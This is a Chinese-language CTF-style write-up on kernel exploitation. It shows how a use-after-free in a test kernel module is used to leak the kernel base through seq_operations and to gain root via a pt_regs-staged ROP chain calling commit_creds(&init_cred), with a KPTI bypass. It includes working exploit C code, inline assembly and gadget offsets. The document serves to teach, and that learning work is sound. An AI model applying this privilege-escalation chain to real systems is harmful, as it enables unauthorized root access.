内核seq_operation+pt_regs结构体组合利用学习
字数 1332 2025-12-23 12:10:18
内核漏洞利用:seq_operations与pt_regs结构体组合利用技术
概述
本文详细分析内核堆溢出漏洞利用中seq_operations与pt_regs结构体的组合利用技术。通过实际案例,讲解如何利用UAF漏洞实现内核地址泄露、执行流劫持和权限提升。
内核交互流程分析
ioctl系统调用详解
ioctl函数原型
long my_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
filp: 文件结构体指针cmd: 命令码,区分不同操作arg: 用户空间传递的参数,可以是整数或指针
关键点:第三个参数arg的处理
arg通常是指向用户空间结构体的指针,内核通过copy_from_user/copy_to_user进行数据传输:
long my_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int user_val;
switch (cmd) {
case MY_CMD_SET_VALUE:
if (copy_from_user(&user_val, (int __user *)arg, sizeof(user_val))) {
return -EFAULT;
}
break;
case MY_CMD_GET_VALUE:
user_val = get_some_kernel_value();
if (copy_to_user((int __user *)arg, &user_val, sizeof(user_val))) {
return -EFAULT;
}
break;
}
return 0;
}
题目中ioctl命令分析
Case 1: cmd == 0x20 (malloc)
if (copy_from_user(&index, a3, 0x10))
- 拷贝16字节数据
- 前8字节:size(实际是size,变量命名混乱)
- 后8字节:用户数据指针
结构体定义:
struct {
size_t size; // <= 0x20
void *user_data; // 指向要拷贝进内核的数据
} req;
调用方式:
ioctl(fd, 0x20, &req);
Case 2: cmd == 0x30 (delete)
copy_from_user(&index, a3, 8)
- 只拷贝8字节:索引值
调用方式:
uint64_t idx = 5;
ioctl(fd, 0x30, &idx);
Case 3: cmd == 0x40 (show)
copy_from_user(&index, a3, 24)
- 拷贝24字节,但只使用前8字节(index)
结构体定义:
struct {
uint64_t index;
char padding[16];
} req;
Case 4: cmd == 0x50 (edit)
copy_from_user(&index, a3, 24)
copy_from_user(content, v6, n0x100_2)
- 前8字节:index
- 接下来8字节:size
- 再接下来8字节:数据指针
结构体定义:
struct {
uint64_t index;
uint64_t size;
void *data;
} req;
漏洞分析
UAF漏洞位置
if (_a2 != 0x20) {
if (_a2 != 0x30)
return result;
if (!copy_from_user(&index, a3, 8)) {
if ((unsigned int)index <= 0x20) { // delete
if (addrList[(unsigned int)index])
kfree(); // UAF漏洞:释放后未置空
}
return 0;
}
return -22;
}
内存分配逻辑
if (copy_from_user(&index, a3, 0x10))
return -22;
if (index > 0x20) // malloc
return 0;
object_ptr = _kmalloc(index, 0xCC0);
heap_ptr = object_ptr;
if (!object_ptr)
return 0;
n0x20_1 = index;
n0x100_1 = size;
if (index > 0x7FFFFFFF)
goto LABEL_29;
_check_object_size(object_ptr, index, 0);
v11 = copy_from_user(heap_ptr, n0x100_1, n0x20_1);
利用原理与技术
地址泄露技术
seq_operations结构体利用
- 通过
open("/proc/self/stat", O_RDONLY)触发single_open - 分配
seq_operations结构体(32字节,kmalloc-32缓存) - 结构体包含预初始化的内核函数指针
int single_open(struct file *file, int (*show)(struct seq_file *, void *), void *data) {
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res = -ENOMEM;
if (op) {
op->start = single_start;
op->next = single_next;
// ...
}
}
提权技术
传统ROP方法
需要执行commit_creds(prepare_kernel_cred(NULL)),但gadget长度受限。
init_cred方法
init_cred是init进程的cred,具有root权限- 静态分配,泄露内核基址后可计算其地址
- 只需执行
commit_creds(&init_cred)即可提权
栈迁移与pt_regs利用
系统调用上下文
系统调用时,内核将寄存器压栈形成pt_regs结构体:
struct pt_regs {
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
unsigned long orig_rax;
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
};
KPTI绕过技术
使用swapgs_restore_regs_and_return_to_usermode函数返回用户态:
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq
栈布局要求:
↓ swapgs_restore_regs_and_return_to_usermode
0 // padding
0 // padding
user_shell_addr // rip
user_cs // cs
user_rflags // rflags
user_sp // rsp
user_ss // ss
漏洞利用实战
环境准备
文件系统打包
#!/bin/sh
find . -print0 | cpio --null -ov --format=newc | gzip -9 > rootfs.img
mv rootfs.img ..
内核符号获取
cat /proc/kallsyms > /tmp/kallsyms
利用步骤
1. 定义操作结构体
struct op_chunk {
size_t idx;
size_t size;
void *buf;
};
struct alloc_chunk {
size_t size;
void *buf;
};
2. 操作函数封装
void readChunk(size_t idx, size_t size, void *buf) {
struct op_chunk op = {.idx = idx, .size = size, .buf = buf};
ioctl(dev_fd, 0x40, &op);
}
void writeChunk(size_t idx, size_t size, void *buf) {
struct op_chunk op = {.idx = idx, .size = size, .buf = buf};
ioctl(dev_fd, 0x50, &op);
}
void deleteChunk(size_t idx) {
struct op_chunk op = {.idx = idx};
ioctl(dev_fd, 0x30, &op);
}
void allocChunk(size_t size, void *buf) {
struct alloc_chunk alloc = {.size = size, .buf = buf};
ioctl(dev_fd, 0x20, &alloc);
}
3. 漏洞利用流程
int main(int argc, char **argv, char **envp) {
// 初始化
dev_fd = open("/dev/kerpwn", O_RDWR);
// 触发UAF
allocChunk(0x20, buf);
deleteChunk(0);
// 分配seq_operations并泄露
seq_fd = open("/proc/self/stat", O_RDONLY);
readChunk(0, 0x20, buf);
// 计算偏移和地址
kernel_offset = buf[0] - SEQ_OPS_0;
kernel_base += kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
init_cred = INIT_CRED + kernel_offset;
pop_rdi_ret = POP_RDI_RET + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
// 布置ROP链
gadget = 0xffffffff8135b0f6 + kernel_offset; // add rsp, 0x180
buf[0] = gadget;
swapgs_restore_regs_and_return_to_usermode += 9;
writeChunk(0, 0x20, buf);
// 触发利用
vuln();
system("/bin/sh");
return 0;
}
4. ROP链布置
void vuln() {
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0xbeefdead;"
"mov r11, 0xbeefdead;"
"mov r10, 0xbeefdead;"
"mov r9, 0xbeefdead;"
"mov r8, 0xbeefdead;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
}
GDB调试配置
#!/bin/sh
gdb -q \
-ex "file vmlinux" \
-ex "symbol-file vmliux" \
-ex "add-symbol-file test_kk.ko 0xffffffffc0002000" \
-ex "target remote localhost:1234" \
-ex "b *(0xffffffffc0002000+0x2E3)" \
-ex "b *(0xffffffffc0002000+0x21A)" \
-ex "b *(0xffffffffc0002000+0x191)" \
-ex "b *(0xffffffffc0002000+0x253)"
总结
通过seq_operations与pt_regs结构体的组合利用,我们实现了:
- 利用UAF漏洞泄露内核地址
- 通过
seq_operations结构体获取内核基址 - 使用
pt_regs进行栈迁移和ROP链布置 - 绕过KPTI保护返回用户态
- 最终获取root权限
这种组合利用技术在现代内核堆漏洞利用中具有重要价值,特别是在gadget长度受限的情况下,通过精心设计的栈布局和寄存器控制,能够实现稳定的权限提升。